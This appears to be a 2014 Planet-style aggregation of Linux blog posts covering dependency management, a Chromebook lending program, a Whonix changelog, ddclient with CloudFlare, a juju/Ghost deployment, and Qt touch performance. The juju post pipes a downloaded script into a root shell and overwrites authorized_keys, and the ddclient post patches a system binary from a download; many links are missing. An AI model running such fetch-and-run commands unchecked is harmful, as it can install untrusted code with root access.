We seem to have created a world centred on github where everyone has to manage dependencies by hand, like we had to in 1997. This problem was completely solved by apt twenty years ago, but the new cool github world is, it seems, too cool to care about that. Go off to get some new project by git cloneing it and it’s quite likely to say “oh, and it depends on $SOME_OTHER_PROJECT (here’s a link to that project’s github repo)”. And then you have to go fetch both and set them up yourself. Which is really annoying.

Now, there are good reasons why to not care about existing dependency package management systems such as apt. Getting stuff into Ubuntu is hard, laborious work and most projects don’t want to do it. PPAs make it easier, but not much easier; if you’re building a thing and not specifically targeting Ubuntu with it, you don’t want to have to learn about Launchpad and PPAs and build recipes and whatnot. This sort of problem is also solves neatly for packages in a specific language by that language’s own packaging system; Python stuff is installable with pip install whatever and a virtualenv; Node stuff is installable with npm install whatever; all these take care of fetching any dependent stuff. But this rush for each language to have its own “app store” for its apps and libraries means that combining things from different languages is still the same 20th century nightmare. Take, for example, Mozilla’s new Firefox Tools Adaptor. I’m not picking on Mozilla here; the FTA is new, and it’s pretty cool, and it’s not finished yet. This is just the latest in a long line of things which exhibit the problem. The FTA allows you to use the Firefox devtools to debug web things running in other browsers. Including, excitingly, debugging things running in iOS Safari on the iPhone. Now, doing that’s a pain in the ringpiece at the moment; you have to install Google’s ios-webkit-debug-proxy, which needs to be compiled, and Apple break compatibility with it all the time and so you have to fetch and build new versions of libimobiledevice or something. I was eager to see that the new Firefox Tools Adaptor promises to allow debugging on iOS Safari just by installing a Firefox extension.

And then I read about it, and it says, “The Adapter’s iOS support uses Google’s ios-webkit-debug-proxy. Until that support is built directly into the add-on, you’ll need to install and run the ios-webkit-debug-proxy binary yourself”. Sigh. That’s the hard part. And it’s not any easier here.

Again, I’m not blaming Mozilla here — they plan to fix this, but they’ll have to fix it by essentially bundling ios-webkit-debug-proxy with the FTA. That’ll work, and that’s an important thing for them to do in order to provide a slick user experience for developers using this tool (because “download and compile this other thing first” is not ever ever a nice user experience).

It is made worse by people using a language packaging system (designed for people developing libraries for a given language) to do app distribution. See, for example, tmuxme, which is an app for sharing a terminal session with many people (think of it like screen sharing, but for a terminal). And how do you install it? gem install tmuxme. No. Ruby’s gem command is for developers to download a Ruby library that their Ruby package needs. I, as someone who wants to use this tool, should not have to care that it’s written in Ruby. I should not have to have a Ruby development environment set up in order to use an app. See the forum thread for much much more about this, and why it doesn’t even work. New rather cool app pup is the same — it’s a little app, inspired by the excellent jq, into which I can pipe HTML and give it a CSS selector, and pup will then print just the elements which match the selector. But how do I install it? go get No. I don’t have go. I don’t have a go environment set up. I don’t have $GOPATH set. I shouldn’t even have to care that this little util is even written in Go. It’s a utility. What’s worse about this is that, unlike Ruby or Python, Go creates actual executables; I don’t even need the Go system around to run it! Why should I need to install all of Go just to get your app? Don’t use a language-specific library packaging system for distribution of applications. Don’t make me identify and download dependencies myself just because you already have them.

This is sorta kinda solved by brew for Mac users, but there’s a lot of stuff not in brew either. Still, there is willingness to solve it that way by having a packaging system. But it’s annoying that Ubuntu already has one and people are loath to use it. Using it makes for a better developer user experience. That’s important.

13 September, 2014 03:51PM

September 12, 2014

John Baer: Get a free Chromebook from the Google Lending Library

student chromebook

Are you are enrolled in college, need a laptop computer, and willing to accept a new Chromebook? If so, Google got a deal for you and it’s called the Google Lending Library.

The Chromebook Lending Library is traveling to 12 college campuses across the U.S. loaded with the latest Chromebooks. The Lending Library is a bit like your traditional library, but instead of books, we’re letting students borrow Chromebooks (no library card needed). Students can use a Chromebook during the week for life on campus— whether it’s in class, during an all-nighter, or browsing the internet in their dorm.

Lindsay Rumer, Chrome Marketing

Assuming you attend one the partnered Universities, here is how it works.

1. Request a Chromebook from the Library
2. Agree to the Terms of Use Agreement
3. Use the Chromebook as you like while you attend school
4. Return it when you want or when you leave

What happens if you don’t return it? Expect to receive a bill for the fair market value not to exceed $220.

Here’s the fine print.

“Evaluation Period” means the period of time specified to you at the time of checkout of a Device.

“Checkout Location” means the location specified by Google where Devices will be issued to you and collected from you.

1.1 Device Use. You may use the Device issued to you for your personal evaluation purposes. Upon your use of the Device, Google transfers title to the Device equipment to you, but retains all ownership rights, title and interest to any Google Devices and services and anything else that Google makes available to you, including without limitation any software on the Device.

1.2 Evaluation Period. You may use the Device during the Evaluation Period. Upon (i) expiration of the Evaluation Period, or (ii) termination of this Agreement, if this Agreement is terminated early in accordance Section 4, you agree to return the Device to the Checkout Location. If you fail to return the Device at the end of the Evaluation Period or upon termination of this Agreement, you agree Google may, to the extent allowed by applicable law, charge you up to the fair market value of the Device less normal wear and tear and any applicable taxes for an amount not to exceed Two Hundred Twenty ($220.00) Dollars USD.

1.3 Feedback. Google may ask you to provide feedback about the Device and related Google products optimized for Google Services. You are not required to provide feedback, but, if you do, it must only be from you, truthful, and accurate and you grant Google permission to use your name, logo and feedback in presentations and marketing materials regarding the Device. Your participation in providing feedback may be suspended at any time.

1.4 No Compensation. You will not be compensated for your use of the Devices or for your feedback.

2. Intellectual Property Rights. Nothing in this Agreement grants you intellectual property rights in the Devices or any other materials provided by Google. Except as provided in Section 1.1, Google will own all rights to anything you choose to submit under this Agreement. If that isn’t possible, then you agree to do whichever of the following that Google asks you to do: transfer all of your rights regarding your submissions to Google; give Google an exclusive, irrevocable, worldwide, royalty-free license to your submissions to Google; or grant Google any other reasonable rights. You will transfer your submissions to Google, and sign documents and provide support as requested by Google, and you appoint Google to act on your behalf to secure these rights from you. You waive any moral rights you have and agree not to exercise them, unless you notify Google and follow Google’s instructions.

3. Confidentiality. Your feedback and other submissions, is confidential subject to Google’s use of your feedback pursuant to Section 1.3.

4. Term. This Agreement becomes effective when you click the “I Agree” button and remains in force through the end of the Evaluation Period or earlier if either party gives written termination notice, which will be effective immediately. Upon expiration or termination, you will return the Device as set forth below. Additionally, Google will remove you from any related mailing lists within thirty (30) days of expiration or termination. Sections 1.3, 1.4, and Sections 2 through 5 survive any expiration or termination of this Agreement.

5. Device Returns. You will return the Device(s) to Google or its agents to the Checkout Location at the time specified to you at the time of checkout of the Device or if unavailable, to Google Chromebook Lending Library, 1600 Amphitheatre Parkway, Mountain View, CA 94043. Google may notify you during or after the term of this Agreement regarding return details or fees chargeable to you if you fail to return the Device.

The post Get a free Chromebook from the Google Lending Library appeared first on john's journal.

12 September, 2014 10:52PM

hackergotchi for Whonix


Release Candidate Whonix 9 ( ) – testers wanted!

The version number for this testers-only release is, which will become Whonix 9 the moment it’s blessed stable.

Download link for Virtual Box images (.ova), experimental kvm /qemu / Qubes images and OpenPGP signatures (.asc):

Upgrading Whonix 8 to Whonix 9
– You cannot upgrade using apt-get dist-upgrade or you will break the packaging system!
– You can upgrade using these instructions:

If you want to build from source code, see:

Thanks to everyone who made this test release possible!

Changlog between and
- whonixcheck, timesync: minor output
– anon-meta-packages: fix, added “Pre-Depends: whonix-legacy” to whonix-gateway and whonix-workstation
– whonix-legacy: clean up old Whonix-Gateway shortcuts
– updated debian stable frozen sources
– makefile: added new feature “make deb-chl-bumpup” – Bump upstream version number in debian/changelog.
– rads: made compatible with systemd / debian testing by adding tty1 autologin drop-in config
– xchat-improved-privacy.postinst: fix, disable XChat plugins by default even if folder /home/user/.xchat2 exists
– libvirt xml files: Enable use of Hardware Assisted Paging if available in the hardware.
– sdwdate: fixed systemd spams syslog due to time changed by sclockadj (fixed #289)
– sdwdate: fix, clean up temporary directory on exit
– uwt: all temporary files are now in /tmp/uwt
– anon-base-files /usr/lib/pre.bsh: all temporary files are now in /tmp/prepost
– whonixcheck, timesync, tb-updater: fix, clean up temporary files/directory
– whonix-repository tool: fix, clean up temporary directory
– control-port-filter: fix, clean up temporary directory
– build script: install whonix-gateway or whonix-workstation meta package respectively
– build script: Use SAS rather than SATA as virtual hard disk controller for VirtualBox hdds to work around a VirtualBox upstream bug that causes filesystem corruption on high disk I/O ( Thanks to @Neurodrive for the bug report (
– whonix-repository tool, anon-shared-build-apt-sources-tpo, anon-apt-sources-list: use wheezy rather than stable as per,445.msg3640.html
– build script: added –file-system (var: whonix_build_file_system)
– build script: added –hostname (var: whonix_build_hostname)
– build script: added –os-password (var: whonix_build_os_password)
– build script: added –debopt (var: whonix_build_debopt)
– whonixcheck: check_virtualizer, no longer warn if Qubes ( is detected; improved output, improved html tags
– anon-shared-build-apt-sources-tpo: updated The Tor Project’s apt signing key as per
– build script: fix –terminal-only
– build script: fix –no-default-applications
– whonixcheck: refactoring, use /usr/lib/msgcollector/striphtml rather than sed in usr/lib/whonixcheck/check_tor_socks_or_trans_port
– tb-updater: update tbb version url as per
– tb-updater: compatibility with new recommended tbb versions format as per
– anon-ws-disable-stacked-tor: Set environment variable “export TOR_SKIP_CONTROLPORTTEST=1″ to skip TorButton control port verification as per Will take effect as soon as The Tor Project merges the TOR_SKIP_CONTROLPORTTEST patch.
– sdwdate: curl, use –head rather than –include as per
– sdwdate: Breaking change: pool variable names were renamed. SDWDATE_POOL_PAL, SDWDATE_POOL_NEUTRAL, are now called SDWDATE_POOL_ONE, SDWDATE_POOL_TWO, SDWDATE_POOL_THREE. If you were using custom pools, you should update your config according to the new variable names. As per
– sdwdate: no longer using pal/neutral/foe pool design. Using three pools instead, that only contain servers of the type “pal”. As per Thanks to for suggesting it.

The post Release Candidate Whonix 9 ( ) – testers wanted! appeared first on Whonix.

12 September, 2014 10:28PM by Patrick Schleizer

hackergotchi for Ubuntu developers

Ubuntu developers

Ayrton Araujo: CloudFlare as a ddclient provider under Debian/Ubuntu

Dyn's free dynamic DNS service closed on Wednesday, May 7th, 2014.

CloudFlare, however, has a little known feature that will allow you to update
your DNS records via API or a command line script called ddclient. This will
give you the same result, and it's also free.

Unfortunately, ddclient does not work with CloudFlare out of the box. There is
a patch available
and here is how to hack[1] it up on Debian or Ubuntu, also works in Raspbian with Raspberry Pi.


basic command line skills, and a domain name
that you own.


Sign up to CloudFlare and add your domain name.
Follow the instructions, the default values it gives should be fine.

You'll be letting CloudFlare host your domain so you need to adjust the
settings at your registrar.

If you'd like to use a subdomain, add an 'A' record for it. Any IP address
will do for now.

Let's get to business...


$ sudo apt-get install ddclient


$ sudo apt-get install curl sendmail libjson-any-perl libio-socket-ssl-perl
$ curl -O 
$ sudo patch /usr/sbin/ddclient < ddclient-3.8.0-cloudflare-22-6-2014.patch


$ sudo vi /etc/ddclient.conf


### CloudFlare (
use=web, web=dyndns
protocol=cloudflare, \, \, \, \
password=api-key \

Comment out:


Your api-key comes from the account page

ssl=yes might already be in that file

use=web, web=dyndns will use dyndns to check IP (useful for NAT)

You're done. Log in to and check that the IP listed for
your domain matches

To verify your settings:

sudo ddclient -daemon=0 -debug -verbose -noquiet

Fork this:

12 September, 2014 06:47PM

Ayrton Araujo: New blog with Ghost

Here I am again, moving once more. This time from octopress to ghost.
At this time I'm moving because I want an easy way to update my blog. Keep it in a static content generator is a little bit harder to update and fix posts. But I will miss some things from octopress like the codesnipets and the responsible videos plugin. I'm considering to make some pull requests with the features I am missing. I will continue using Haroopad for off-line drafting markdown posts.

Well, for this migration I used an account in Wabble (because it is really cheap) with 4 VPS.

As I don't have an API in Wablle and theres no roadmap for this I used juju manual provisioning. Here is my enviroments.yaml:

    type: manual
    default-series: precise
    bootstrap-user: root

Before add new units, I cleaned up the machine with:

apt-get update && apt-get install curl && curl | sh

Because of the X, it will not works for you, but heres the script (remember to change the X):

# curl | sh

locale-gen en_US.UTF-8
dpkg-reconfigure locales

apt-get purge apache2.2-common -y
apt-get dist-upgrade -y
apt-get autoremove -y
apt-get install dbus -y

mkdir $HOME/.ssh
echo 'ssh-rsa yourpubkey' > $HOME/.ssh/authorized_keys

And then I added new units with juju add-machine with no error.

Then I deployed 2 mysql units and 4 ghost units, with haproxy as follows (as we're using manual provisioning, we need to specify the machines, otherwise it will not work):

juju deploy mysql --to 0
juju add-unit mysql --to 1
juju deploy haproxy --to 2 
juju deploy ghost --to 0
juju add-unit ghost --to 1
juju add-unit ghost --to 2
juju add-unit ghost --to 3
juju add-relation mysql ghost
juju add-relation haproxy ghost
juju expose haproxy

Wait for units to deploy before add the relations.

And voilà:

All this power is just for test, I will change this schema soon, as my blog will never have engagement to justify that scale schema. Ahaha

Here's my juju-gui canvas:
juju-gui canvas

I would like to say thanks to hatch, the creator of Ghost charm, that helped me a lot with some breaked deploys in #juju at and quote a related post of him:

What I would like to have next:

Search for me in #juju at if you pass through any problem.

12 September, 2014 06:42PM

hackergotchi for Maemo developers

Maemo developers

profiling is not understanding

When software goes slow, generally, the first reaction is to profile. This might be done through system tools (like Instruments on OS X, perf/valgrind/etc on Linux, VTune, etc). This is fine and good, but just because you have the output of a tool does not necessarily correlate to understanding what is going on.

This might seem like an obvious distinction, but all too often, efforts at improving performance focus on the small picture ("this thing here is slow") and not the bigger picture ("why is this so slow"). At Jolla, I had the pleasure of running into one such instance of this, together with Gunnar Sletta, my esteemed colleague, and friend.

As those of you who are familiar with Jolla may know, we had been working on upgrading to a newer Qt release. This also involved quite a bit of work for us, both in properly upstreaming work we had done on the hurry to the late-2013 release, and in isolating problems and fixing them properly in newer code (the new scenegraph renderer, and the v4 javascript engine in particular have been an interesting ride to get both at once!).

As a part of this work, we noted that touch handling was quite slow (something which we had worked around for our initial release, but now wanted to solve properly). This was due to the touch driver on the Jolla introducing touchpoints faster than the display was updating, that is, while the display might be updating at 57 hz (yes, the Jolla is weird, it doesn't do 60 hz) - we might be getting input events a lot more frequently than that.

This was, in turn, causing QtQuick to run touch processing (involving costly item traversals, as well as the actual processing of touch handling) a lot more frequently than the display was updating. As these took so much time, this in turn slowed rendering down, meaning even more touch handling was going on per frame. A really ugly situation.

Figure 1: Event tracing inside the Sailfish OS Compositor
Figure 1 demonstrates this happening at the compositor level. The bottom slice (titled "QThread") is the event delivery thread, responsible for reading events from evdev The peaks there are - naturally - when events are being read in. The top thread is the GUI thread, and the high peaks there are touch events being processed and delivered to the right QtQuick item (in this case, a Wayland client, we'll get to that later). The middle slice is the compositor's scenegraph rendering (using QtQuick).

With the explanation out of the way, let's look at the details a bit more. It's obvious that the event thread is regularly delivering events at around-but-not-quite twice the display update. Our frame preparation on the GUI thread looks good, despite the too-frequent occurrence of event delivery, though, and the render thread is coping too.

But this isn't a major surprise - the compositor in this case is dead simple (just showing a fullscreen client). What about the client? Let's take a look at it over the same timeframe...

Figure 2: Event tracing for the client (Silica's component gallery, in this case)
Figure 2 focuses on two threads in the client: the render thread (top), and the GUI thread (bottom). Touch events are delivered on the GUI thread, QtQuick processes them there while preparing the next frame for the render thread.

Here, it's very clear that touch processing is happening way too often, and worse than that, it's taking a very long time (each touch event's processing is taking ~4ms), not leaving much time for rendering - and this was on a completely unloaded device. In a more complicated client still, this impact would be much, much worse, leading to frame skipping (which we saw, on some other applications).

Going back to my original introduction here, if we had used traditional profiling techniques, we'd have seen that touch handling/preparation to render was taking a really long time. And we might have focused on optimizing that. Instead, thanks to some out-of-the-box thinking, we looked at the overall structure of application flow, and were able to see the real problem: doing extra work that wasn't necessary.

As an aside to this, I'm happy to announce that we worked out a neat solution to this: QtQuick now doesn't immediately process touch events, instead, choosing to wait until it is about to prepare the next frame for display - as well as "compressing" them to only deal with the minimal number of sensible touch updates per frame. This should have no real impact on any hardware where touch delivery was occurring at a sensible rate, but for any hardware where touch was previously delivering too fast, this will no longer be a problem as of Qt 5.4.

(Thanks to Gunnar & myself for the fix, Carsten & Mikko for opening my eyes about performance tooling, and Jolla for sponsoring this work.

P.S. If you're looking for performance experts, Qt/QML/etc expertise or all round awesome, Gunnar and myself are currently interested in hearing from you.)0 Add to favourites0 Bury

12 September, 2014 06:06PM by Robin Burchell (

hackergotchi for Ubuntu developers

Ubuntu developers

Harald Sitter: My Family…

… is the best in the whole wide world!

12 September, 2014 03:33PM

Ubuntu Podcast from the UK LoCo: S07E24 – The One with the Holiday Armadillo

We’re back with Season Seven, Episode Twenty-Four of the Ubuntu Podcast! Alan Pope, Mark Johnson, and Laura Cowen are drinking tea and eating Battenburg cake in Studio L.

In this week’s show:

  • We discuss whether communities suck…

  • We also discuss:

    • Aurasma augmented reality
    • Upgrading to 14.10
    • Converting a family member to Ubuntu
  • We share some Command Line Lurve which does this (from Patrick Archibald on G+):
      curl -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"GUI.ShowNotification","params":{"title":"This is the title of the message","message":"This is the body of the message"},"id":1}' http://wopr.local:8080/jsonrpc
  • And we read your feedback. Thanks for sending it in!

We’ll be back next week, so please send your comments and suggestions to:
Join us on IRC in #uupc on Freenode
Leave a voicemail via phone: +44 (0) 203 298 1600, sip: and skype: ubuntuukpodcast
Follow us on Twitter
Find our Facebook Fan Page
Follow us on Google+

12 September, 2014 01:05PM

September 11, 2014

hackergotchi for Maemo developers

Maemo developers

SlimPort on Android or getting a free FireTV

SlimPort is a feature of Nexus devices which is unfortunately not covered much in reviews. It is still a quite important feature – especially for those who are  interested in getting Amazon Instant Video from the phone on the big screen.
Basically SlimPort is DisplayPort over the Micro-USB connection of your device allowing you to mirror its display.

But the future has arrived: we got Miracast!

One might wonder why one should go through the hassle of using a old-school HDMI cable.
You can get a Chromecast Stick for 35$ and nowadays it also supports Miracast so you can simply stream the images over WiFi.

Well Miracast is all nice if all you need to do is to put up some slides without carrying all possible adapters with you. But as soon as you try to stream a movie or a game you will reach its limitations.

Remember that Miracast works by grabbing the Framebuffer and compressing it with H.264. While encoding happens in hardware it still takes some time and it inevitably introduces compression artifacts. This means:

  • in games you get a noticeable lag – especially in FullHD
  • in movies you get noticeable artifacts – especially in FullHD
  • in both cases your battery will get drained for heavy WiFi and Encoder usage

Going old-school

Going with the old-school cable on the other hand you get HDMI 1.4 transfer rates for up to 1080p at 60Hz while saving the battery.

Configuring the second screen is quite straightforward in android. As Mirroring is your only option, there is actually nothing to configure. Once you connect the adapter android will set up your monitor based on its EDID information and transfer image and audio over HDMI.
In case you only want to have the image over HDMI, simply attach your speakers to the phone and android will re-route the audio.
The days where you had to manually set up everything are over.

Furthermore most adapters have an micro-USB port allowing to still charge your phone while using SlimPort.

The free FireTV

Well it took Amazon long enough to finally release Instant Video for android – although their Fire devices share almost the same software stack. And even then they still left out Chromecast support. Amazon is clearly trying to push their own devices.
And it kind of works out – the FireTV for the launch price of 50€ is a steal. (The comparable Odroid U3 is 100€+ and that is w/o any remote)

But still it is 50€ if all you want is to get Instant Video on the big screen. Using the SlimPort of your device you get there.  And for the saved money you can get a Bluetooth Gamepad/ Keyboard get some more FireTV functionality out of your android device.

Device Support

The downside is that most of the devices do not support SlimPort. The device list more or less boils down to


  • Google Nexus 4/ 5
  • Google Nexus 7 (2013)
  • LG G2/ G3

Samsung devices go with the alternative MHL. Comparing these two SlimPort has the bandwidth advantage of 5Gb/s vs. 3Gb/s of MHL.


0 Add to favourites0 Bury

11 September, 2014 10:37PM by Pavel Rojtberg (

hackergotchi for rescatux


New bug taxonomy for Rescatux

While I was going to categorize many offline notes that I have about Rescatux about bugs I thought again about current bugs versions.

I have added a note in the Rescatux wiki about the new bug versions.

  • version-beta: E.g. 0.32-beta are errors only found on beta versions
  •  version: E.g. 0.32 are errors only found in stable versions
  •  version-freeze: E.g. 0.32-freeze are error only found on beta versions that we have decided need to be addressed in order to release its associated stable version.

Unfortunately in order to see what are these affected bugs you need to have an account in Cenatic and then build an advanced query inside the Rescatux Bugs tracker. This is not bad because you can create an account in Cenatic Forge whenever you want to.

The purpose in this versioning change is knowing what it’s the minimal set of bugs that need to be solved so that I can release new Rescatux as an stable release. And, at the same time, not having to take care manually of a roadmap.

Feature requests are still present and are not affected by this version renaming.

11 September, 2014 10:08PM by adrian15

hackergotchi for Ubuntu developers

Ubuntu developers

Benjamin Kerensa: Off to Berlin

Right now, as this post is published, I’m probably settling into my seat for the next ten hours headed to Berlin, Germany as part of a group of leaders at Mozilla who will be meeting for ReMo Camp. This is my first transatlantic trip ever and perhaps my longest flight so far, so I’m both […]

11 September, 2014 08:45PM

Jonathan Riddell: Akademy Wednesday and Thursday Photo Blog

KDE Project:

Hacking hard in the hacking room

Blue Systems Beer

You will keep GStreamer support in Phonon

Boat trip on the loch

Off the ferry

Bushan leads the way

A fairy castle appears in the distance

The talent show judges

Sinny models our stylish Kubuntu polo shirts

Kubuntu Day discussions with developers from the Munich Kubuntu rollout

IMG 9510 v1
Kubuntu Day group photo with people from Kubuntu, KDE, Debian, Limux and Net-runner

c IMG 8903 v1
Jonathan gets a messiah complex

11 September, 2014 08:34PM

hackergotchi for gNewSense


Newbie to gNewSense

I’m a new gNewSense user, but I am not new to GNU/Linux. In 1995, working in the Operations Center at Georgia State University, I read about the Linux kernel on a usenet newsgroup. At the time I was an operator on MVS and Unisys mainframes, and was interested in moving on to Unix, which seemed like a much more interesting environment. Excited that a free Unix-like OS existed, I spent a few days of lunch breaks downloading fifty HD disks of one of the early distributions. I remember it as SLS, but one of my coworkers, who borrowed the disks to install GNU/Linux on one of his own PCs, insists that it was Slackware. I’m inclined to take his word for it.

I’ve been using GNU/Linux ever since. I’ve tried Debian and its various derivatives, several Red Hat based distributions, and even dabbled in Suse. In general I prefer Debian-like systems, but my goal has always been to use the most consistently free distribution I could manage.

I had an Acer Aspire One netbook loaded with Windows 7 that had been essentially abandoned by my wife, and decided to shop for an appropriate GNU/Linux distribution to put it back in service. I’ve recently changed careers from IT  to journalism, and made a committment to myself to systematically build my tool set based on free software. In the spirit of mobile journalism, this laptop is going to be my primary computer.

Two days ago I downloaded gNewSense 3.1 with GNOME desktop for i386, and followed the instructions for creating a live USB. It was a quick and easy process. I then changed the boot order on the netbook, and booted into gNewSense.

My first concern when putting a distribution on a laptop is that the wireless work. It worked like a charm. My second concern is that the out-of-the-box system not be cluttered with things I don’t use. I always customize my environment, but I don’t want to have to do a complete renovation. I’d rather be spending my time adding software I need, than removing software I don’t need.

Every kind of software I use regularly seemed to work, so I backed up the Windows personal folders, and installed gNewSense onto the hard drive of the netbook. At this point the only additional thing I’ve added is GNU Emacs. A web browser and an extensible editor covers at least 90% of what I do with a computer. The other 10% mostly consists of presentation slides and work with spreadsheets, both of which are covered by OpenOffice.

All in all my first impression of gNewSense is very positive. I’m certain that I’ll run into snags along the way, particularly when I start configuring the system to serve as a station for mobile journalism. But it meets my criteria of free and uncluttered and everything I’ve tested works. I’ll continue to post updates as I use and modify the system with additional free software.

11 September, 2014 03:51PM by larryfeltonj

hackergotchi for Ubuntu developers

Ubuntu developers

Benjamin Kerensa: On Wearable Technology

The Web has been filled with buzz of the news of new Android watches and the new Apple Watch but I’m still skeptical as to whether these first iterations of Smartwatches will have the kind of sales Apple and Google are hoping for. I do think wearable tech is the future. In fact, I owned […]

11 September, 2014 12:00PM

Valorie Zimmerman: Accessible KDE, Kubuntu

KDE is community. We welcome everyone, and make our software work for everyone. So, accessibility is central to all our work, in the community, in testing, coding, documentation. Frederik has been working to make this true in Qt and in KDE for many years, Peter has done valuable work with Simon and Jose is doing testing and some patches to fix stuff.

However, now that KF5 is rolling out, we're finding a few problems with our KDE software such as widgets, KDE configuration modules (kcm) and even websites. However, the a11y team is too small to handle all this! Obviously, we need to grow the team.

So we've decided to make heavier use of the forums, where we might find new testers and folks to fix the problems, and perhaps even people to fix up the website to be as
awesome as the KDE-Edu site. The Visual Design Group are the leaders here, and they are awesome!

Please drop by #kde-accessibility on Freenode or the Forum to read up on what needs doing, and learn how to test. People stepping up to learn forum
moderation are also welcome. Frederik has recently posted about the BoF:

A11y was a topic in the Kubuntu BoF today, and we're going to make a new push to make sure our accessibility options work well out of the box, i.e. from first boot. This will involve working with the Ubuntu a11y team, yeah!

More information is available at and

11 September, 2014 10:31AM by Valorie Zimmerman (

Canonical Design Team: Canonical and Ubuntu at dConstruct

Brighton is not just a lovely seaside town, mostly known for being overcrowded in Summer by Londoners in search for a bit of escapism, but also the home of a thriving community of designers, makers and entrepreneurs. Some of these people run dConstruct, a gathering where creative minds of all sorts converge every year to discuss important themes around digital innovation and culture.

When I found out that we were sponsoring the conference this year, I promptly jumped in to help my colleagues in the Phone, Web and Juju design teams. Our stand was situated in the foyer of the Brighton Dome, flashing the orange banner of Ubuntu and a number of origami unicorns.

The Ubuntu Stand

Origami Unicorns

We had an incredibly positive response from the attendees, as our stand was literally teeming with Ubuntu enthusiasts who were really keen to check our progress with the phone. We had a few BQ phones on display where we showed the new features and designs.

Testing the phone

For us, it was a great occasion to gather fresh impressions of the user experience on the phone and across a variety of apps. After a few moments, people started to understand the edge interactions and began to swipe left and right, giving positive feedback on the responsiveness of the UI. Our pre-release models of BQ phones don’t have the final shell and they still display softkeys, as a result some people found this confusing. We took the opportunity to quickly design our own custom BQ phone by using a bunch of Ubuntu stickers…and viola, problem solved! ;)

Ubuntu phone - customised

Our ‘Make your Unicorn’ competition had a fantastic response. To celebrate the coming release of Utopic Unicorn and of the BQ phone, the maker of the best origami unicorn being awarded a new phone. The crowd did not hesitate to tackle the complex paper-bending challenge and came up with a bunch of creative outcomes. We were very impressed to see how many people managed to complete the instructions, as I didn’t manage to go beyond step 15..

Ubuntu fans

Twitter   Search - #dconstruct #ubuntu

11 September, 2014 09:57AM